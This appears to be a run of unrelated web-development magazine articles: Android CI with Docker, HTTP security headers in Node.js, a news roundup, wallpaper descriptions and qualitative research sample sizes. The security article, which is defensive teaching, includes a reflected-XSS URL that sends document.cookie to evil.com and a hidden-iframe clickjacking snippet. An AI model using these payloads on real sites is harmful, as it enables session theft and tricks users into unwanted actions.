FROM ubuntu:trusty #Update the list of repositories and add webupd8team repository, from which we'll install Java RUN apt-get update -y && apt-get install -y software-properties-common && add-apt-repository ppa:webupd8team/java -y && apt-get update -y && echo oracle-java8-installer shared/accepted-oracle-license-v1-1 select true | /usr/bin/debconf-set-selections && apt-get install -y oracle-java8-installer && apt-get remove software-properties-common -y && apt-get autoremove -y && apt-get clean #Set the environment variables for Java and the desired version of Ant ENV JAVA_HOME /usr/lib/jvm/java-8-oracle ENV ANT_VERSION 1.9.4 # Install Ant version specified above RUN cd && wget -q http://archive.apache.org/dist/ant/binaries/apache-ant-${ANT_VERSION}-bin.tar.gz && tar -xzf apache-ant-${ANT_VERSION}-bin.tar.gz && mv apache-ant-${ANT_VERSION} /opt/ant && rm apache-ant-${ANT_VERSION}-bin.tar.gz # Set the environment variable for Ant ENV ANT_HOME /opt/ant ENV PATH ${PATH}:/opt/ant/bin #Install Android Build Tools and the required version of Android SDK #You can create several versions of the Dockerfile if you need to test #several versions ENV ANDROID_SDK_VERSION r24.4.1 ENV ANDROID_BUILD_TOOLS_VERSION 23.0.3 RUN dpkg --add-architecture i386 && apt-get update -y && apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 lib32z1 && rm -rf /var/lib/apt/lists/* && apt-get autoremove -y && apt-get clean ENV ANDROID_SDK_FILENAME android-sdk_${ANDROID_SDK_VERSION}-linux.tgz ENV ANDROID_SDK_URL http://dl.google.com/android/${ANDROID_SDK_FILENAME} ENV ANDROID_API_LEVELS android-15,android-16,android-17,android-18,android-19,android-20,android-21,android-22,android-23 ENV ANDROID_HOME /opt/android-sdk-linux ENV PATH ${PATH}:${ANDROID_HOME}/tools:${ANDROID_HOME}/platform-tools RUN cd /opt && wget -q ${ANDROID_SDK_URL} && tar -xzf ${ANDROID_SDK_FILENAME} && rm ${ANDROID_SDK_FILENAME} && echo y | android update sdk --no-ui -a --filter tools,platform-tools,${ANDROID_API_LEVELS},build-tools-${ANDROID_BUILD_TOOLS_VERSION} ###Now add the integration system file. It can be a Jenkins slave, a Bamboo agent, etc., depending on what you're working with. ADD moyagent.sh /agentCI/
You can also add all of the necessary libraries and files for the integration system agent to the Dockerfile. At some point, you might have to build containers not only for your physical devices, but also for virtual Android phone emulators. In this case, you can just add the required settings to the instructions. Now we’ll build the Dockerfile:
Docker build .
Now we have a runnable docker image; however, the container that we spawn from it would not see any devices (or, on the contrary, the container would see all USB devices if we run it in privileged mode). We need it to see only those devices we want it to see. So, we specify a symbolic link (or symlink) in our host, which we will transfer to the Docker container created from the image. The symlink uses udev:
echo ‘"SUBSYSTEM=="usb", ATTRS{serial}=="$DEVICE_SERIAL", SYMLINK+="androidDevice1"' >> /etc/udev/rules.d/90-usb-symlink-phones.rules
Instead of $DEVICE_SERIAL, we enter our freshly installed serial number and reload the device’s rule definitions:
udevadm control --reload udevadm trigger
Now when the phone is attached via USB, we will have a device symlink to the /dev/androidDevice1 path with the serial number $DEVICE_SERIAL. All we have left to do is transfer it to the container on startup:
Docker run -i -t --rm --device=/dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest adb devices
This means that we want to create a container from the Android Docker image that must be able to access the device with the /dev/androidDevice1 symlink. We also want to launch the ADB devices command in the container itself, which will show us a list of available devices.
If the phone is visible, then we’re ready. If an integration system agent was installed in the image, we can use the following command to launch it:
Docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-Docker-image:latest /bin/sh /agentCI/moyagent.sh
Now we have launched the container in which the system integration agent is running. The agent now has access to the device via the /dev/androidDevice1 symlink and to the virtual environment where all programs specified in Dockerfile (the Android SDK and additional dependencies) are installed.
By the way, it wasn’t until fairly recently that the command line option --device started working with symlinks (see the GitHub master branch24). Previously, we had to generate the realpath from symlinks using a script and transfer it to Docker. So, if you can’t manage to connect the device, add the following script to the udev parameter RUN+= (if the connected phone is located at /dev/bus/usb/010/1):
realpath /dev/androidDevice1 | xargs -I linkpath link linkpath /dev/bus/usb/010/1
This will let you use old versions of Docker to launch a container that can access the phone:
Docker run --privileged -v /dev/bus/usb/010/:/dev/bus/usb/100/ -i -t android-Docker-image:latest adb devices
That’s it. You can now connect your slave to the integration system and work with it.
If the phone is visible, then we’re done. If a system integration agent has been installed in the image, then we can run it with the following command:
docker run -i -t --rm --device= /dev/androidDevice1:/dev/bus/usb/001/1 android-docker-image:latest /bin/sh /agentCI/moyagent.sh
Now we’ve launched our container with the system integration agent launched in it. The device is available to the agent via the /dev/androidDevice1 symlink and also via the virtual environment where you installed the programs from our Dockerfile (the Android SDK and other dependencies). The launched agent must connect to your server (such as Bamboo or Jenkins), from which you can give it commands to perform the automated tests.
When your container is ready, all you need to do is connect it to your integration system. Each of such systems has extensive documentation and a lot of examples of usage:
As soon as you connect your container according to the instruction, you will be able to execute code, launch your tests and work with your container via your systems.
Sooner or later, physical mobile devices will appear in the integration system of every relatively large Android project. The need to fix mistakes, perform non-standard test cases and simply test for the presence of certain features all inevitably require an actual device. In addition, the devices won’t use your server resources, because they have their own processors and memory. Thus, the host for the phones doesn’t have to be super-powerful; any home desktop would handle this load nicely.
Consider the advantages and see what would be best for you — your automated testing system almost certainly has room for physical devices. I wish you all fewer bugs and more test coverage! Real devices have both advantages and disadvantages. It would be great if you could share your opinion and expertise and tell us which is better to use: real devices or virtual machines. Looking forward to your comments!
(rb, yk, al, il)
Web applications, be they thin websites or thick single-page apps, are notorious targets for cyber-attacks. In 2016, approximately 40% of data breaches1 originated from attacks on web apps — the leading attack pattern. Indeed, these days, understanding cyber-security is not a luxury but rather a necessity for web developers, especially for developers who build consumer-facing applications.
HTTP response headers can be leveraged to tighten up the security of web apps, typically just by adding a few lines of code. In this article, we’ll show how web developers can use HTTP headers to build secure apps. While the code examples are for Node.js, setting HTTP response headers is supported across all major server-side-rendering platforms and is typically simple to set up.
Technically, HTTP headers are simply fields, encoded in clear text, that are part of the HTTP request and response message header. They are designed to enable both the HTTP client and server to send and receive meta data about the connection to be established, the resource being requested, as well as the returned resource itself.
Plain-text HTTP response headers can be examined easily using cURL, with the --head option, like so:
$ curl --head https://www.google.com HTTP/1.1 200 OK Date: Thu, 05 Jan 2017 08:20:29 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Transfer-Encoding: chunked Accept-Ranges: none Vary: Accept-Encoding …
Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force6 (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.
Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!
The IETF’s RFC 72347, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.
There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:
Cache-Controlcache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.Pragma: no-cacheCache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.Expires: -1-1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post8 on the subject.
Here’s how you would program these headers in Node.js:
function requestHandler(req, res) { res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate'); res.setHeader('Pragma','no-cache'); res.setHeader('Expires','-1'); }
Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!
The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.
How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 67979, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.
HSTS directives include the following:
max-age=<number of seconds>includeSubDomainspreloadA word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!
My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!
Here’s what implementing HSTS looks like in Node.js:
function requestHandler(req, res) { res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload'); }
In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!
To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:
function handleRequest(req, res) { res.writeHead(200); // Get the search term const parsedUrl = require('url').parse(req.url); const searchTerm = decodeURI(parsedUrl.query); const resultSet = search(searchTerm); // Render the document res.end( "<html>" + "<body>" + "<p>You searched for: " + searchTerm + "</p>" + // Search results rendering goes here… "</body>" + "</html>"); };
Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:
https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>
As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!
To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.
Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.
X-XSS-Protection directives include these:
1 or 0mode=blockI recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:
X-XSS-Protection: 1; mode=block
Here’s how you would configure this response header in Node.js:
function requestHandler(req, res) { res.setHeader('X-XSS-Protection','1;mode=block'); }
An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.
One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!
<html> <body> <button class='some-class'>Win a Prize!</button> <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe> </body> </html>
Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.
An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 703411, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.
My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:
X-Frame-Options: SAMEORIGIN
Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:
function requestHandler(req, res) { res.setHeader('X-Frame-Options','SAMEORIGIN'); }
As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.
Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.
CSP is a W3C specification12 that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.
This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.
CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial13 that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.
Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):
function requestHandler(req, res) { res.setHeader('Content-Security-Policy',"script-src 'self'"); }
In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.
Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification14, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.
X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:
function requestHandler(req, res) { res.setHeader('X-Content-Type-Options','nosniff'); }
In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.
Cache-Control header.Strict-Transport-Security header, and add your domain to Chrome’s preload list.X-XSS-Protection header.X-Frame-Options header.Content-Security-Policy to whitelist specific sources and endpoints.X-Content-Type-Options header.Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!
(Disclaimer: The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)
Front page image credits: Pexels.com15.
(da, yk, al, il)
Iosevka is a slender monospace sans-serif and slab-serif typeface inspired by Pragmata Pro, M+ and PF DIN Mono, designed to be the ideal font for programming.
What a busy week! To stay on top of things, let’s review what happened in the web development world the last few days — from browser vendors pushing new updates and building new JavaScript guidelines and security standards to why we as web professionals need to review our professional pride. How can we properly revoke certificates in browsers, for example? And how can we build accessibility into a style guide? Let’s take a look.
fetch(), IndexedDB2.0, Custom Elements, Form Validation, Media Capture, and much more. You can read more about the new features and how to use them5 in detail on the WebKit blog.alert(), confirm(), and prompt() methods in JavaScript anymore6, and, in the future, they might even deprecate sites that still use them. The suggestion is to use the Web Notification API instead, in the hope that its asynchronous nature will prevent it from being misused against users. As a nice side effect, using the API will also speed up browser performance significantly.
16And with that, I’ll close for this week. If you like what I write each week, please support me with a donation24 or share this resource with other people. You can learn more about the costs of the project here25. It’s available via email, RSS and online.
— Anselm
“Prank your friends with caution.” — Designed by foodpanda Singapore381 from Singapore.
382“I believe that Earth is something that we take for granted. We need to start taking care of our home, after all if the Earth is not OK, we won’t be.” — Designed by Maria Keller406 from Mexico.
407“I designed this wallpaper combining both the sunny and the rainy weather. April, here in Italy, is synonymous with flowers and fun, and we can enjoy the first hot days after winter; but it’s also damn rainy! So I just brought all together and made my ‘Funshower’, a funny pun!” — Designed by Stefano Marchini459 from Italy.
460“April the 2nd is Hans Christian Andersen’s birthday. Hans is most famous for his magical fairy tales, such as ‘The Little Mermaid’, ‘The Princess and the Pea’ and ‘Thumbelina’. I always loved the tale of Thumbelina, so I created this wallpaper for Hans!” — Designed by Safia Begum496 from the United Kingdom.
497“Design is a community. Each one of these creators found their way into my consciousness as idea-catalysts. This is my way of thanking them and so I’m excited to bring this set to the greater design community. However these are used, my aim is to pay tribute to these sixteen and drive baby-steppers to great inspirers.” — Designed by Juliane Bone517 from California.
518“Every year, Washington DC’s Kite Festival is a welcome sight in spring. The National Mall is transformed by colorful serpents, butterflies, and homemade winged crafts and by the families who come from across the city to enjoy their aerial stunts over a picnic at the base of the Washington Monument.” — Designed by The Hannon Group562 from Washington, DC.
563“The most beautiful flowers are in bloom around my neighborhood, and I get this little tune stuck in my head every time I go for a walk. I thought it would be perfect for a bright watercolor-styled design!” — Designed by Alyson Sherrard585 from Pensacola, Florida.
586“This bad bunny is just waiting for Easter. :)” — Designed by Izabela600 from Poland.
601“Sometimes when you are out and about you see something that captures your attention. It does not have to be anything spectacular, but you know that you want to remember it at that specific point in time. No matter how busy you are, stop and see the flowers.” — Designed by Kris G613 from the USA.
614“‘When all the world appears to be in a tumult, and nature itself is feeling the assault of climate change, the seasons retain their essential rhythm. Yes, fall gives us a premonition of winter, but then, winter, will be forced to relent, once again, to the new beginnings of soft greens, longer light, and the sweet air of spring.‘ (Madeleine M. Kunin)” — Designed by Dipanjan Karmakar632 from India.
633“My calendar is an illustration of the old proverb ‘April showers bring May flowers’. I always look forward to the end of that transition.” — Designed by Caitey Kennedy651 from the United States.
652“A smiling earth is how I wish to think of my home planet. I like to believe that whenever a plantling gets its root deep into the soil, or when a dolphin jumps out of the water, the earth must be getting tickled, bringing a wide grin on its face. So this World Earth Day, let’s promote afforestation, protect the wildlife and its habitat. Let’s make the earth smile forever.” — Designed by Acodez IT Solutions674 from India.
675“When I think of spring, I think of little chickens playing in the field. They always look so happy. I just bought 3 new little chickens, and they are super cute. So enjoy this wallpaper, and enjoy spring.” — Designed by Melissa Bogemans719 from Belgium.
720“Spring revives nature, so I designed a wallpaper with a cute little fairy who awakens plants.” — Designed by Hushlenko Antonina762 from Ukraine.
763“April showers bring May flowers, and what better way to enjoy rainy weather than to get stuck in a surreal book, in a comfy nook, with a kettle of tea!” — Designed by Brooke Coraldi807 from the United States.
808“It is time for more colour in our life! After this cold and dark winter, we have to paint our minds or better our walls. Flower power everywhere!” — Designed by Sabrina Lobien848144 from Germany.
849Designed by Doud – Elise Vanoorbeek861 from Belgium.
862“April is magical. April is musical. April is mesmerizing. April is the International Month of Guitar. Let this calendar make it special.” — Designed by ColorMean Creative Studio884 from Dubai, United Arab Emirates
885“Spring is a great time to photograph nature because everything is green and full of new life. Like spring, a sunrise is also the start of something new.” — Designed by Marc Andre929 from the United States.
930Please note that we respect and carefully consider the ideas and motivation behind each and every artist’s work. This is why we give all artists the full freedom to explore their creativity and express emotions and experience throughout their works. This is also why the themes of the wallpapers weren’t anyhow influenced by us, but rather designed from scratch by the artists themselves.
A big thank you to all designers for their participation. Join in next month974!
What’s your favorite theme or wallpaper for this month? Please let us know in the comment section below.
Jen is presenting her research report to a client, who runs an e-commerce website. She conducted interviews with 12 potential users. Her goal was to understand the conditions under which users choose to shop online versus in store. The client asks Jen why they should trust her research when she has spoken to only 12 people. Jen explains her process to the client. She shares how she determined the sample size and collected and analyzed her data through the lens of data saturation. The client feels comfortable with the explanation. She asks Jen to continue the presentation.
Researchers must justify the sample size of their studies. Clients, colleagues and investors want to know they can trust a study’s recommendations. They base a lot of trust on sample population and size. Did you talk to the right people? Did you talk to the right number of people? Researchers must also know how to make the most of the data they collect. Your sample size won’t matter if you haven’t asked good questions and done thorough analysis.
Quantitative research methods (such as surveys) come with effective statistical techniques for determining a sample size. This is based on the population size you are studying and the level of confidence desired in the results. Many stakeholders are familiar with quantitative methods and terms such as “statistical significance.” These stakeholders tend to carry this understanding across all research projects and are, therefore, expecting to hear similar terms and hear of similar sample sizes across research projects.
Qualitative researchers need to set the context for stakeholders. Qualitative research methods (such as interviews) currently have no similar commonly accepted technique. Yet, there are steps you should take to ensure you have collected and analyzed the right amount of data.
In this article, I will propose a formula for determining qualitative sample sizes in user research. I’ll also discuss how to collect and analyze data in order to achieve “data saturation.” Finally, I will provide a case study highlighting the concepts explored in this article.
As researchers, or members of teams that work with researchers, we need to understand and convey to others why we’ve chosen a particular sample size.
I’ll give you the bad news first. We don’t have an agreed-upon formula to determine an exact sample size for qualitative research. Anyone who says otherwise is wrong. We do have some suggested guidelines based on precedent in academic studies. We often use smaller sample sizes for qualitative research. I have been in projects that include interviews with fewer than 10 people. I have also been in projects in which we’ve interviewed dozens of people. Jakob Nielson suggests a sample size of five for usability testing. However, he adds a number of qualifiers, and the suggestion is limited to usability testing studies, not exploratory interviews, contextual inquiry or other qualitative methods commonly used in the generative stages of research.
So, how do we determine a qualitative sample size? We need to understand the purpose of our research. We conduct qualitative research to gain a deep understanding of something (an event, issue, problem or solution). This is different from quantitative research, whose purpose is to quantify, or measure the presence of, something. Quantification usually provides a shallow yet broad view of an issue.
You can determine your qualitative research sample size on a rolling basis. Or you can state the sample size up front.
If you are an academic researcher in a multi-year project, or you have a large budget and generous timeline, you can suggest a rolling sample size. You’d collect data from a set number of participants. At the same time, you’d analyze the data and determine whether you need to collect more data. This approach leads to large amounts of data and greater certainty in your findings. You will have a deep and broad view of the issue that you are designing to address. You would stop collecting data because you have exhausted the need to continue collecting data. You will likely end up with a larger sample size.
Most clients or projects require you to state a predetermined sample size. Reality, in the form of budget and time, often dictates sample sizes. You won’t have time to interview 50 people and do a thorough analysis of the data if your project is expected to move from research to design to development over an 8- to 10-week period. A sample size of 10 to 12 is probably more realistic for a project like this. You will probably have two weeks to get from recruitment to analysis. You would stop because you have exhausted the resources for your study. Yet our clients and peers want us to make impactful recommendations from this data.
Your use of a rolling or predetermined sample size will determine how you speak about why you stopped collecting data. For a rolling sample, you could say, “We stopped collecting data after analysis found it would no longer prove valuable to collect more data.” If you use a predetermined sample size, you could say, “We stopped collecting data after we interviewed (or observed, etc.) the predetermined number we agreed upon. We fully analyzed the data collected.”
We can still maintain a rigorous process using a predetermined sample size. Our findings are still valid. Data saturation helps to ensure this. You need to complete three steps in order to claim you’ve done due diligence in determining a sample size and reaching data saturation when using a predetermined sample:
I will cover each step in detail in the following sections.
Donna Bonde from Research by Design, a marketing research firm, provides research-based guidelines8 (Qualitative market research: When enough is enough) to help determine the size of a qualitative research sample up front. Bonde reviewed the work of numerous market research studies to determine the consistent key factors for sample sizes across the studies. Bonde considers the guidelines not to be a formula, but rather to be factors affecting qualitative sample sizes. The guidelines are meant for marketing research, so I’ve modified them to suit the needs of the user researcher. I have also organized the relevant factors into a formula. This will help you to determine and justify a sample size and to increase the likelihood of reaching saturation.
The formula for determining a sample size, based on my interpretation of Research by Design’s guidelines, is: scope × characteristics ÷ expertise + or - resources.
Here are descriptions and examples for the four factors of the formula for determining your qualitative sample size.
You need to consider what you are trying to accomplish. This is the most important factor when considering sample size. Are you looking to design a solution from scratch? Or are you looking to identify small wins to improve your current product’s usability? You would maximize the number of research participants if you were looking to inform the creation of a new experience. You could include fewer participants if you are trying to identify potential difficulties in the checkout workflow of your application.
Numerically, the scope can be anywhere from 1 to infinity. A zero would designate no research, which violates principles of UX design. You will multiply the scope by each user type × 3 in the next step. So, including a number greater than 1 will drastically increase your sample size. Scope is all about how you want to apply your results. I recommend using the following values for filling in scope:
9I’ve given you guidelines for scope that will make sure your sample size is comparable to what some academic researchers suggest. Scholar John Creswell suggests12 guidelines ranging from as few as five for a case study (for example, your existing product) to more than 20 for developing a new theory (for example, generalizing beyond your product). We won’t stop with Creswell’s recommendations because you will create a stronger argument and demonstrate better understanding when you show that you’ve used a formula to determine your sample size. Also, scholars are nowhere near agreement on specific sample sizes to use, as Creswell suggests.
You will increase your sample size as the diversity of your population increases. You will want multiple representatives of each persona or user type you are designing for. I recommend a minimum of three participants per user type. This allows for a deeper exploration of the experience each user type might have.
Let’s say you are designing an application that enables manufacturing companies to input and track the ordering and shipment of supplies from warehouses to factories. You would want to interview many people involved in this process: warehouse floor workers, office staff, procurement staff from the warehouse and factory, managers and more. If you were looking only to redesign the interface of the read-only tracking function of this app, then you might only need to interview people who look at the tracking page of the application: warehouse and factory office workers.
Numerically, C = P × 3, where P equals the number of unique user types you’ve identified. Three user types would give you C = 9.
Experienced researchers can do more with a smaller sample size than less experienced researchers. Qualitative researchers insert themselves into the data-collection process differently than quantitative researchers. You can’t change your line of questioning in a survey based on an unforeseen topic becoming relevant. You can adjust your line of questioning based on the real-time feedback you get from a qualitative research participant. Experienced researchers will generate more and better-quality data from each participant. An experienced researcher knows how and when to dig deeper based on a participant’s response. An experienced researcher will bring a history of experiences to add insight to the data analysis.
Numerically, expertise (E) could range from 1 to infinity. Realistically, the range should be from 1 to 2. For example, a researcher with no experience should have a 1 because they will need the full size of the sample, and they would gain experience as the project moves forward. Using a 2 would halve your sample size (at that point in the formula), which is drastic as well. I’d suggest adding tenths (.10) based on 5-year increments; for example, a researcher with 5 years of experience would give you E = 1.10.
13An unfortunate truth, you will have to account for budget and time constraints when determining a sample size. You will need to increase either your timeline or the number of researchers on a project, as you increase the size of your sample. Most clients or projects will require you to identify a set number of research participants. Time and money will affect this number. You will need to budget time for recruiting participants and analyzing data. You will also need to consider the needs of design and development for completing those duties. Peers will not value your research findings if the findings come in after everyone else has moved forward. I recommend scaling down a sample size to get the data on time, rather than hold on to a sample size that causes your research to drag on past when your team needs the findings.
Numerically, resources will be a number from N (i.e. the desired sample size) - 1 or more to + 1 or more. You’ll determine resources based on the cost and time you will spend recruiting participants, conducting research and analyzing data. You might have specific numbers based on previous efforts. For example, you might know it will cost around $15,000 to use a recruitment service, to rent a facility for two days and to pay 15 participants for one-hour interviews. You also know the recruiting service will ask for up to three weeks to find the sample you need, depending on the complexity of the study. On the other hand, you might be able to recruit 15 participants at no extra cost if you ask your client to find existing users, but that might add weeks to the process if you can’t find them quickly or if potential participants aren’t immediately available.
You will need to budget for the time and resources necessary to get the sample you require, or you will need to reduce your sample accordingly. Because this is a fact of life, I recommend being up front about it. Say to your boss or client, “We want to speak to 15 users for this project. But our budget and timeline will only allow for 10. Please keep that in mind when we present our findings.”
Let’s say you want to figure out how many participants to include in a study that is assessing the need to create an area for customer-service staff members of a mid-sized client to access the applications they use at work (a portal). Your client states that there are three basic user types: floor staff, managers and administrators. You have a healthy budget and a total of 10 weeks to go from research to presentation of design concepts for the portal and a working prototype of a few workflows within the portal. You have been a researcher for 11 years.
Your formula for determining a sample size would be:
scope (S) large scope - creating a new portal (S) = 2;characteristics (C) - 3 user types (C) = 9;expertise (E) - 11 years (E)= 1.20;resources (R) - fine for this study (R) = 0;our formula is ((SxC)/E) + R;((2x9)/1.2) + 0 = 15 participants for this study.Data saturation is a concept from academic research. Academics do not agree on the definition of saturation. The basic idea is to get enough data to support the decisions you make, and to exhaust your analysis of that data. You need to get enough data in order to create meaningful themes and recommendations from your exhaustive analysis. Reaching data saturation depends on the particular methods you are using to collect data. Interviews are often cited as the best method to ensure you reach data saturation.
Researchers do not often use sample size alone as the criterion for assessing saturation. I support a two-pronged definition: saturation of data collection and saturation of data analysis. You need to do both to achieve data saturation in a study. You also need to do both, data collection and analysis, simultaneously to know you’ve achieved saturation before the study concludes.
You would collect enough meaningful data to identify key themes and make recommendations. Once you have coded your data and identified key themes, do you have actionable takeaways? If so, you should feel comfortable with what you have. If you haven’t identified meaningful themes or if the participants have all had many different experiences, then collect additional data. Or if something unique came up in only one interview, you might add more focused interviews to further explore that concept.
